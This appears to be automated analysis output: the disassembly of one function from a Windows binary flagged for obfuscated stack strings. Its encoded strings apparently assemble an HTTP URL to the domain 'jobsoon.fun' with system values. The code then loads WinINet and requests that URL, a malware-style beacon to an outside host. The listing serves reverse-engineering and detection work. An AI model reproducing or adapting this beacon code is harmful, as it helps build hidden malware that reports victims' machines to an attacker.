Function at 0x140007960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b8]
sub rsp, 0x2b8
mov rbx, rcx
xor r12d, r12d
mov ecx, 0x7d6774c
mov r14d, r9d
mov r15d, r8d
mov esi, edx
mov word [rsp + 0x6c], r12w
mov dword [rsp + 0x70], 0x690076
mov dword [rsp + 0x74], 0x690065
mov dword [rsp + 0x78], 0x69006a
mov dword [rsp + 0x7c], 0x660062
mov dword [rbp - 0x80], 0x6d
mov dword [rbp + 0x210], 0x2e
mov dword [rsp + 0x30], 0x6f006a
mov dword [rsp + 0x34], 0x730062
mov dword [rsp + 0x38], 0x6f006f
mov dword [rsp + 0x3c], 0x2e006e
mov dword [rsp + 0x40], 0x750066
mov dword [rsp + 0x44], 0x6e
mov dword [rbp + 0x218], 0x2f
mov dword [rbp + 0x208], 0x26
mov dword [rbp - 0x78], 0x740068
mov dword [rbp - 0x74], 0x700074
mov dword [rbp - 0x70], 0x2f003a
mov dword [rbp - 0x6c], 0x2f
mov dword [rsp + 0x58], 0x310030
mov dword [rsp + 0x5c], 0x330032
mov dword [rsp + 0x60], 0x350034
mov dword [rsp + 0x64], 0x370036
mov dword [rsp + 0x68], 0x390038
mov dword [rbp - 0x68], 0x690077
mov dword [rbp - 0x64], 0x69006e
mov dword [rbp - 0x60], 0x65006e
mov dword [rbp - 0x5c], 0x2e0074
mov dword [rbp - 0x58], 0x6c0064
mov dword [rbp - 0x54], 0x6c
call fcn.140001010
lea rcx, [rbp - 0x68]
call rax
mov ecx, 0xa829563a
call fcn.140001010
mov ecx, 0xf12a8777
mov r13, rax
call fcn.140001010
mov ecx, 0xd46e6bd3
mov qword [rbp + 0x200], rax
call fcn.140001010
lea rdi, [rbp - 0x50]
mov r12, rax
mov ecx, 0x200
xor eax, eax
rep stosb byte [rdi], al
lea rdx, [rbp - 0x78]
nop
movzx ecx, word [rdx]
add rdx, 2
test cx, cx
jne 0x140007ac0
lea rax, [rbp - 0x78]
xor r8d, r8d
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007af4
mov ecx, r8d
movzx eax, word [rbp + rcx - 0x78]
lea rcx, [rcx + 2]
mov word [rbp + rcx - 0x52], ax
test ax, ax
jne 0x140007ae1
lea rcx, [rbp - 0x50]
mov rdx, rbx
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007b00
sub rdx, rbx
sar rdx, 1
dec rdx
je 0x140007b61
lea rdx, [rbp - 0x50]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007b20
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007b61
cmp word [rbp - 0x50], 0
je 0x140007b4c
add rcx, 2
cmp word [rcx], 0
jne 0x140007b42
sub rcx, rbx
nop
movzx eax, word [rbx]
lea rbx, [rbx + 2]
mov word [rcx + rbx - 2], ax
test ax, ax
jne 0x140007b50
lea rdi, [rbp + 0x210]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x210]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007b73
lea rax, [rbp + 0x210]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007bf1
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007ba0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007bf1
cmp word [rbp - 0x50], 0
je 0x140007bcc
add rcx, 2
cmp word [rcx], 0
jne 0x140007bc2
lea rax, [rbp + 0x210]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007be0
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007c00
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007c71
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007c20
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007c71
cmp word [rbp - 0x50], 0
je 0x140007c4c
add rcx, 2
cmp word [rcx], 0
jne 0x140007c42
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007c60
lea rdi, [rbp + 0x218]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x218]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007c83
lea rax, [rbp + 0x218]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007d01
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007cb0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007d01
cmp word [rbp - 0x50], 0
je 0x140007cdc
add rcx, 2
cmp word [rcx], 0
jne 0x140007cd2
lea rax, [rbp + 0x218]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007cf0
lea rdi, [rsp + 0x70]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x70]
nop
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007d10
lea rax, [rsp + 0x70]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007d81
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007d30
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007d81
cmp word [rbp - 0x50], 0
je 0x140007d5c
add rcx, 2
cmp word [rcx], 0
jne 0x140007d52
lea rax, [rsp + 0x70]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007d70
lea rdi, [rbp + 0x208]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x208]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007d93
lea rax, [rbp + 0x208]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007e11
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007dc0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007e11
cmp word [rbp - 0x50], 0
je 0x140007dec
add rcx, 2
cmp word [rcx], 0
jne 0x140007de2
lea rax, [rbp + 0x208]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007e00
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdi, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0xcccccccd
lea rdi, [rdi + 2]
mul esi
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub esi, eax
movzx ecx, word [rsp + rsi*2 + 0x58]
mov esi, edx
mov word [rdi - 2], cx
test edx, edx
jne 0x140007e30
lea rdx, [rdi - 2]
lea rax, [rsp + 0x30]
mov word [rdi], r8w
lea rdi, [rsp + 0x30]
cmp rdx, rax
jbe 0x140007e8a
nop dword [rax + rax]
movzx eax, word [rdi]
movzx ecx, word [rdx]
add rdi, 2
mov word [rdx], ax
mov word [rdi - 2], cx
sub rdx, 2
cmp rdx, rdi
ja 0x140007e70
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007ea0
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007f11
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007ec0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007f11
cmp word [rbp - 0x50], 0
je 0x140007eec
add rcx, 2
cmp word [rcx], 0
jne 0x140007ee2
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007f00
lea rdi, [rbp + 0x208]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x208]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007f23
lea rax, [rbp + 0x208]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007fa1
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140007f50
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140007fa1
cmp word [rbp - 0x50], 0
je 0x140007f7c
add rcx, 2
cmp word [rcx], 0
jne 0x140007f72
lea rax, [rbp + 0x208]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140007f90
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov ecx, dword [rbp + 0x220]
lea rdi, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0xcccccccd
lea rdi, [rdi + 2]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
movzx ecx, word [rsp + rcx*2 + 0x58]
mov word [rdi - 2], cx
mov ecx, edx
test edx, edx
jne 0x140007fc0
lea rdx, [rdi - 2]
lea rax, [rsp + 0x30]
mov word [rdi], r8w
lea rdi, [rsp + 0x30]
cmp rdx, rax
jbe 0x14000801a
nop dword [rax + rax]
movzx eax, word [rdi]
movzx ecx, word [rdx]
add rdi, 2
mov word [rdx], ax
mov word [rdi - 2], cx
sub rdx, 2
cmp rdx, rdi
ja 0x140008000
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008030
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400080a1
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008050
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400080a1
cmp word [rbp - 0x50], 0
je 0x14000807c
add rcx, 2
cmp word [rcx], 0
jne 0x140008072
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140008090
lea rdi, [rbp + 0x208]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x208]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400080b3
lea rax, [rbp + 0x208]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008131
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400080e0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008131
cmp word [rbp - 0x50], 0
je 0x14000810c
add rcx, 2
cmp word [rcx], 0
jne 0x140008102
lea rax, [rbp + 0x208]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140008120
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdi, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0xcccccccd
lea rdi, [rdi + 2]
mul r14d
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub r14d, eax
movzx ecx, word [rsp + r14*2 + 0x58]
mov r14d, edx
mov word [rdi - 2], cx
test edx, edx
jne 0x140008150
lea rdx, [rdi - 2]
lea rax, [rsp + 0x30]
mov word [rdi], r8w
lea rdi, [rsp + 0x30]
cmp rdx, rax
jbe 0x1400081aa
nop
movzx eax, word [rdi]
movzx ecx, word [rdx]
add rdi, 2
mov word [rdx], ax
mov word [rdi - 2], cx
sub rdx, 2
cmp rdx, rdi
ja 0x140008190
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400081c0
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008231
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400081e0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008231
cmp word [rbp - 0x50], 0
je 0x14000820c
add rcx, 2
cmp word [rcx], 0
jne 0x140008202
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140008220
lea rdi, [rbp + 0x208]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x208]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008243
lea rax, [rbp + 0x208]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400082c1
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008270
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400082c1
cmp word [rbp - 0x50], 0
je 0x14000829c
add rcx, 2
cmp word [rcx], 0
jne 0x140008292
lea rax, [rbp + 0x208]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x1400082b0
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
lea rdi, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0xcccccccd
lea rdi, [rdi + 2]
mul r15d
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub r15d, eax
movzx ecx, word [rsp + r15*2 + 0x58]
mov r15d, edx
mov word [rdi - 2], cx
test edx, edx
jne 0x1400082e0
lea rdx, [rdi - 2]
lea rax, [rsp + 0x30]
mov word [rdi], r8w
lea rdi, [rsp + 0x30]
cmp rdx, rax
jbe 0x14000833a
nop
movzx eax, word [rdi]
movzx ecx, word [rdx]
add rdi, 2
mov word [rdx], ax
mov word [rdi - 2], cx
sub rdx, 2
cmp rdx, rdi
ja 0x140008320
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008350
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400083c1
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008370
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x1400083c1
cmp word [rbp - 0x50], 0
je 0x14000839c
add rcx, 2
cmp word [rcx], 0
jne 0x140008392
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x1400083b0
lea rdi, [rbp + 0x208]
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x208]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400083d3
lea rax, [rbp + 0x208]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008451
lea rdx, [rbp - 0x50]
nop word [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008400
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008451
cmp word [rbp - 0x50], 0
je 0x14000842c
add rcx, 2
cmp word [rcx], 0
jne 0x140008422
lea rax, [rbp + 0x208]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x140008440
xor eax, eax
cmp qword [0x7ffe0308], 0
lea rdi, [rsp + 0x30]
mov ecx, 0x28
rep stosb byte [rdi], al
mov eax, 0x32
mov word [rsp + 0x30], ax
je 0x140008479
mov eax, 0x31
mov word [rsp + 0x32], ax
lea rdi, [rsp + 0x30]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
nop dword [rax]
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x140008490
lea rax, [rsp + 0x30]
sub rcx, rax
sar rcx, 1
dec rcx
je 0x140008501
lea rcx, [rbp - 0x50]
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x1400084b0
lea rax, [rbp - 0x50]
sub rcx, rax
sar rcx, 1
dec rcx
je 0x140008501
cmp word [rbp - 0x50], 0
je 0x1400084dc
add rdx, 2
cmp word [rdx], 0
jne 0x1400084d2
lea rax, [rsp + 0x30]
sub rdx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rdx + rdi - 2], ax
test ax, ax
jne 0x1400084f0
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov ecx, dword [0x7ffe0260]
lea rdi, [rsp + 0x30]
nop dword [rax + rax]
mov eax, 0xcccccccd
lea rdi, [rdi + 2]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
movzx ecx, word [rsp + rcx*2 + 0x58]
mov word [rdi - 2], cx
mov ecx, edx
test edx, edx
jne 0x140008520
lea rdx, [rdi - 2]
lea rax, [rsp + 0x30]
mov word [rdi], r8w
lea rdi, [rsp + 0x30]
cmp rdx, rax
jbe 0x14000857a
nop dword [rax + rax]
movzx eax, word [rdi]
movzx ecx, word [rdx]
add rdi, 2
mov word [rdx], ax
mov word [rdi - 2], cx
sub rdx, 2
cmp rdx, rdi
ja 0x140008560
lea rdi, [rsp + 0x30]
lea rcx, [rbp - 0x50]
lea rdx, [rsp + 0x30]
nop dword [rax + rax]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x140008590
lea rax, [rsp + 0x30]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008601
lea rdx, [rbp - 0x50]
movzx eax, word [rdx]
add rdx, 2
test ax, ax
jne 0x1400085b0
lea rax, [rbp - 0x50]
sub rdx, rax
sar rdx, 1
dec rdx
je 0x140008601
cmp word [rbp - 0x50], 0
je 0x1400085dc
add rcx, 2
cmp word [rcx], 0
jne 0x1400085d2
lea rax, [rsp + 0x30]
sub rcx, rax
nop word [rax + rax]
movzx eax, word [rdi]
lea rdi, [rdi + 2]
mov word [rcx + rdi - 2], ax
test ax, ax
jne 0x1400085f0
mov dword [rsp + 0x20], r8d
xor r9d, r9d
xor edx, edx
xor r8d, r8d
xor ecx, ecx
call r13
lea rdx, [rbp - 0x50]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], 0
mov rdi, rax
mov dword [rsp + 0x20], 0x4000100
call qword [rbp + 0x200]
mov rcx, rax
call r12
mov rcx, rdi
call r12
add rsp, 0x2b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret